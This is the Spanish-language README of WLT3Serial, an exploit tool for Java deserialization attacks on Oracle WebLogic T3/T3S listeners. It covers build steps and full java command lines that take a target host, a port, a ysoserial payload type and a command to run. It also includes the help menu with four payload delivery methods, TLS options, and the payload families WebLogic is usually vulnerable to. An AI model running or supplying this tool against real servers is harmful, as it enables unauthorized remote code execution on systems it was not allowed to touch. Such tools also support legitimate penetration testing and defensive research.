
Exploit de deserialización nativo basado en Java para listeners T3 (y T3S) de WebLogic.
Exploit de deserialización nativa en Java para listeners T3 (y T3S) de WebLogic (como se describe AQUÍ). Requiere las dependencias de terceros ysoserial y wlthint3client.
Requiere Oracle Java 7 u 8. No se ha probado con ningún otro proveedor de Java (como OpenJDK o IBM JRE), por lo que no prometo soporte para estos. Probablemente se pueda construir con Java 9 o 10, pero no prometo soporte para estos.
WLT3Serial se construye mediante el sistema de automatización de construcción Gradle. Se debe usar Gradle 4 para la construcción, aunque otras versiones han sido probadas parcialmente (ver sección de Desarrollo).
Dependencias de terceros:
Procedimiento:
git clone https://github.com/Bort-Millipede/WLT3Serial.gitgradle clean preparegradle build -x testRequiere Oracle Java 7 u 8. No se ha probado con ningún otro proveedor de Java (como OpenJDK o IBM JRE), por lo que no prometo soporte para estos. Probablemente se pueda usar con Java 9 o 10, pero no prometo soporte para estos.
Si se usan los métodos de explotación Property (predeterminado), Bind o WLBind, WLT3Serial debe ejecutarse de la siguiente manera (observar el valor del parámetro '-cp' de java):
java -cp /ruta/a/ysoserial.jar:/ruta/a/wlthint3client.jar:/ruta/a/WLT3Serial-[VERSIÓN].jar bort.millipede.wlt3.WLT3Serial [OPCIONES] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDjava -cp \ruta\a\ysoserial.jar;\ruta\a\wlthint3client.jar;\ruta\a\WLT3Serial-[VERSIÓN].jar bort.millipede.wlt3.WLT3Serial [OPCIONES] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDSi se usa el método de explotación CustomClass, WLT3Serial debe ejecutarse de la siguiente manera (observar el valor del parámetro '-cp' de java):
java -cp /ruta/a/ysoserial.jar:/ruta/a/WLT3Serial-[VERSIÓN].jar:/ruta/a/wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPCIONES] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDjava -cp \ruta\a\ysoserial.jar;\ruta\a\WLT3Serial-[VERSIÓN].jar;\ruta\a\wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPCIONES] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDA continuación se muestra la impresión del menú de ayuda integrado:
Usage: WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD
Options:
--help print usage (you're lookin at it)
--verbose Verbose output (full thrown exception output; Disabled by default)
--method=EXPLOIT_METHOD Exploit Method for delivering generated ysoserial payload
Exploit Methods:
Property Send ysoserial payload as connection environment property value (Default; via javax.naming.Context.lookup(), variation of ysoserial.exploit.RMIRegistryExploit)
Bind Send ysoserial payload as object to bind to name (via javax.naming.Context.bind(), similar to ysoserial.exploit.RMIRegistryExploit)
WLBind Send ysoserial payload as WebLogic RMI object to bind to name (via weblogic.rmi.Naming.bind(), similar to ysoserial.exploit.RMIRegistryExploit)
CustomClass Send ysoserial payload during T3/T3S connection initialization (via custom weblogic.rjvm.ClassTableEntry class, similar to JavaUnserializeExploits weblogic.py)
--t3s[=PROTOCOL] Use T3S (transport-encrypted) connection (Disabled by default)
Protocols:
TLSv1.2
TLSv1.1
TLSv1 (Default)
SSLv3
SSLv2 (SSLv2Hello handshake only, then fallback to SSLv3 for communication: this is an Oracle Java limitation, not a WLT3Serial limitation)
Available Payload Types (WebLogic is usually vulnerable to "CommonsCollectionsX" and "JRMPClientX" types):
(available payloads listed here)